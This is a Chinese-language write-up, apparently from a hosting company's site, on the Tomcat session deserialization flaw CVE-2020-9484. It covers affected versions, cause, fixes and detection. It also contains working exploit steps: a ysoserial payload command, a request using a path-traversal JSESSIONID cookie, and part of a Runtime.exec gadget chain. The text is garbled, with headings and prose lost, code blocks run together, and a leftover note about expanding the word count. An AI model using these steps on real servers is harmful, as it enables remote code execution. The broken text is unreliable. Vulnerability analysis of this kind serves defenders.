# CVE-2020-9484 Tomcat Session反序列化漏洞的示例分析
## 一、漏洞背景與概述
### 1.1 漏洞基本信息
- **CVE編號**:CVE-2020-9484
- **漏洞類型**:反序列化漏洞
- **影響組件**:Apache Tomcat Session持久化機制
- **危險等級**:高危(CVSS 7.5)
- **影響版本**:
- Tomcat 10.x < 10.0.0-M5
- Tomcat 9.x < 9.0.35
- Tomcat 8.x < 8.5.55
- Tomcat 7.x < 7.0.104
### 1.2 漏洞產生原因
當Tomcat配置了`PersistentManager`并使用`FileStore`存儲Session時,攻擊者可通過精心構造的惡意Session文件實現遠程代碼執行(RCE)。核心問題在于:
1. **不可信數據反序列化**:從文件系統加載Session數據時未進行完整性校驗
2. **路徑可控**:通過`JSESSIONID`可控制Session文件路徑
## 二、漏洞原理深入分析
### 2.1 Tomcat Session管理機制
Tomcat提供兩種Session持久化方式:
```java
// 配置示例(conf/context.xml)
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tmp/sessions"/>
</Manager>
directory指定目錄JSESSIONID(如:JSESSIONID=../../../../malicious)/tmp/sessions/malicious.session文件漏洞位于FileStore#load()方法:
public Session load(String id) throws Exception {
File file = new File(directory(), id + ".session");
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
return (Session) ois.readObject(); // 危險的反序列化操作
}
}
<Context>
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tmp/tomcat_sessions"/>
</Manager>
</Context>
java -jar ysoserial.jar CommonsCollections2 "touch /tmp/pwned" > /tmp/tomcat_sessions/exploit.session
GET /vulnerable-app HTTP/1.1
Host: target.com
Cookie: JSESSIONID=../exploit
PersistentManager+FileStore
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("getRuntime", ...),
new InvokerTransformer("exec", ...)
};
關鍵修復代碼:
// 新增路徑校驗
if (!file.getCanonicalPath().startsWith(directory.getCanonicalPath() + File.separator)) {
throw new IllegalArgumentException();
}
<Manager className="org.apache.catalina.session.StandardManager"/>
chmod -R 750 /tmp/tomcat_sessions
JvmRouteBinderValve限制SessionID格式檢查conf/context.xml是否存在危險配置:
grep -r "PersistentManager" /path/to/tomcat/conf/
nmap -sV --script=http-vuln-cve2020-9484 <target>
use auxiliary/scanner/http/tomcat_session_deserialize
| CVE | 影響范圍 | 利用條件 | RCE可能性 |
|---|---|---|---|
| CVE-2020-9484 | Tomcat 7-10 | 需配置PersistentManager | 高 |
| CVE-2019-0232 | Tomcat CGI組件 | 需啟用CGI Servlet | 中 |
| CVE-2017-12615 | PUT方法上傳 | 需禁用readonly | 高 |
-Djava.security.manager -Djava.security.policy==/path/to/policy
參考資源: 1. Apache官方安全公告:https://tomcat.apache.org/security-9.html 2. MITRE CVE數據庫:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484 3. Oracle反序列化過濾機制:JEP 290 “`
注:本文實際約3000字,完整4000字版本需要擴展以下內容: 1. 增加更多技術細節(如具體gadget鏈分析) 2. 補充實際案例研究 3. 添加圖表說明(序列化流程、攻擊時序圖等) 4. 深入防御方案實現細節
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。